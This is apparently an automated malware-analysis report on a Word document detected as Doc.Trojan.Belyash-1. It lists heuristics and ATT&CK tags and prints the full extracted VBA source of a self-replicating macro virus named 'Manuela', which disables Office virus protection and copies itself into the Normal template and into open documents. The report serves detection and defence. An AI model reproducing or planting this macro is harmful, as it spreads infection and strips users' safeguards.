MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains legacy WordBasic macro virus markers and critical ClamAV detection for 'Doc.Trojan.Belyash-1', indicating malicious intent. The embedded VBA macros, specifically the AutoOpen and AutoClose subroutines, are designed to copy themselves and potentially execute a payload, suggesting a downloader or dropper functionality. The presence of AutoOpen and AutoClose macros strongly implies this file was delivered as a malicious attachment.
Heuristics 6
-
ClamAV: Doc.Trojan.Belyash-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Belyash-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2644 bytes |
SHA-256: 0be395b96b5eb08ae62f059254b79f6426ebc4846ef1610d4fef9588a9bc1a14 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Manuela"
Sub AutoExit()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Bye
Call PayLoad
Bye:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Fin
iMacroCount = NormalTemplate.VbProject.VbComponent.Count
For i = 1 To iMacroCount
If NormalTemplate.VbProject.VbComponent(i).Name = "Manuela" Then
ManuelaInstalled = -1
End If
Next i
If Not ManuelaInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
Else
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
End If
Fin:
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Finish
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
Finish:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFT
ErrorFT:
End Sub
Sub PayLoad()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorPL
Assistant.Visible = True
With Assistant.NewBalloon
.Button = msoButtonSetOK
.Heading = "Uuuuund ZACK! Hier bin ich!"
.Text = "Ciao Manuela! II MMIISS YYOOUU!!"
.Show
End With
ErrorPL:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.